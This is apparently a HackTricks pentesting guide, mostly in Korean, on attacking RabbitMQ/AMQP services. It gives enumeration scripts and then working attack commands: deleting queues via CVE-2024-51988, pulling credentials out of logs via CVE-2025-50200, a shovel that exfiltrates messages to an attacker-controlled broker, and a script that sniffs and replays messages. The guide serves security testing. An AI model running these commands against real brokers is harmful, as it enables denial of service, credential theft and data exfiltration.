5671,5672 - Pentesting AMQP

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

From cloudamqp:

RabbitMQ메시지 브로커 또는 _큐 매니저_로도 알려진 메시지 큐잉 소프트웨어입니다. 간단히 말해; 큐가 정의되는 소프트웨어로, 애플리케이션들이 메시지나 메시지들을 전송하기 위해 연결합니다.
메시지는 어떤 종류의 정보든 포함할 수 있습니다. 예를 들어 다른 애플리케이션(심지어 다른 서버에 있을 수도 있음)에서 시작해야 하는 프로세스나 작업에 관한 정보를 포함할 수 있고, 단순한 텍스트 메시지일 수도 있습니다. 큐 매니저 소프트웨어는 수신 애플리케이션이 연결되어 큐에서 메시지를 가져갈 때까지 메시지를 저장합니다. 수신 애플리케이션은 그 메시지를 처리합니다.
정의 출처.

기본 포트: 5672,5671

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • 기본 자격증명: guest:guest. RabbitMQ는 loopback_users를 통해 이를 localhost로 제한하지만, 많은 Docker/IoT 이미지가 해당 검사를 비활성화하므로 차단된 것으로 가정하기 전에 항상 원격 로그인을 테스트하세요.
  • 인증 메커니즘: PLAIN과 AMQPLAIN은 기본적으로 활성화되어 있고, ANONYMOUS는 anonymous_login_user/anonymous_login_pass에 매핑되며, EXTERNAL (x509)은 TLS가 활성화된 경우 노출될 수 있습니다. 브로커가 광고하는 것을 열거하여 이후에 password spraying 또는 certificate impersonation을 시도할지 판단하세요.

열거

수동

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)

인증이 완료되면 conn.server_properties, conn.channel_max, conn.frame_max을 dump하여 throughput limits와 oversized frames로 리소스를 소진할 수 있는지 확인하세요.

Automatic

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

TLS/SASL 검사

  • Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null

이 명령은 인증서 체인, 지원되는 TLS 버전 및 mutual TLS 필요 여부를 leaks합니다.

  • List listeners without creds:
rabbitmq-diagnostics -q listeners

호스트에서 low-priv shell 접근을 얻은 후 유용합니다.

  • Spot ANONYMOUS logins: 브로커가 ANONYMOUS SASL 메커니즘을 허용하면, 빈 username/password로 연결을 시도해보세요; RabbitMQ는 내부적으로 당신을 anonymous_login_user (기본값 guest)로 매핑합니다.

Brute Force

Exploitation Tips

Queue 삭제 (configure 권한 없음) (CVE-2024-51988)

RabbitMQ ≤ 3.12.10 (및 패치되지 않은 Tanzu 빌드)는 HTTP API를 통해 큐를 삭제할 때 configure 권한 검사를 수행하지 않습니다. 대상 vhost에 접근할 수 있는 인증된 사용자는 read 또는 write 권한만 있어도 임의의 큐를 nuke(제거)할 수 있습니다.

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Combine this with rabbitmqadmin list permissions to find vhosts where your low-priv user has partial access, then wipe queues to induce denial of service or trigger compensating controls observed on the AMQP side. Check 15672 pentesting for more HTTP API endpoints to chain with this bug.

RabbitMQ 로그에서 자격증명 수집 (CVE-2025-50200)

4.0.8/4.1.0 이전 버전에서는 management API에 HTTP basic auth로 존재하지 않는 리소스에 접근하면 브로커가 전체 Authorization 헤더(base64)를 로그에 기록합니다. 제한된 파일시스템 접근(예: Docker escape, plugin RCE)을 확보한 경우 /var/log/rabbitmq/rabbit@*.log에서 Authorization:을 검색하여 다른 테넌트 또는 서비스 계정의 자격증명을 복구할 수 있습니다.

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

이것을 의도적으로 잘못된 엔드포인트로 트리거하여 로그에 새로운 비밀을 심고, 그런 다음 디코딩된 인증정보를 AMQP, STOMP, MQTT 또는 OS 자체를 통해 재사용해 피벗하세요.

rabbitmqadmin-ng 무기화

rabbitmqadmin v2 (aka rabbitmqadmin-ng)은 관리 API와 통신하는 독립 실행형 CLI이며, 현재 Linux/macOS/Windows용 정적 링크된(statically linked) 빌드를 제공합니다. bounce box에 올려 스크립트로 사용하세요:

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen

해당 도구는 blue/green 인식 헬스 체크를 지원하므로, rabbitmqadmin health_check port_listener --port 5672를 오용해 TLS 리스너가 노출되었는지 원격으로 확인하거나 타이밍 프로브를 위해 서비스를 바쁘게 만들 수 있습니다.

Message hijacking/sniffing

허용적인 정책(.* bindings, topic exchanges, 또는 x-queue-master-locator = min-masters)을 발견하면, 메시지를 삭제하지 않고 조용히 가로챌 수 있습니다:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)

민감한 흐름에 집중하려면 라우팅 키를 audit.# 또는 payments.*로 교체한 다음, basic_publish 인수를 뒤집어 위조된 메시지를 재게시하세요 — 다운스트림 마이크로서비스에 대한 replay attacks에 유용합니다.

기타 RabbitMQ 포트

In https://www.rabbitmq.com/networking.html you can find that rabbitmq uses several ports:

See also

4222 Pentesting Nats

Shodan

  • AMQP

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기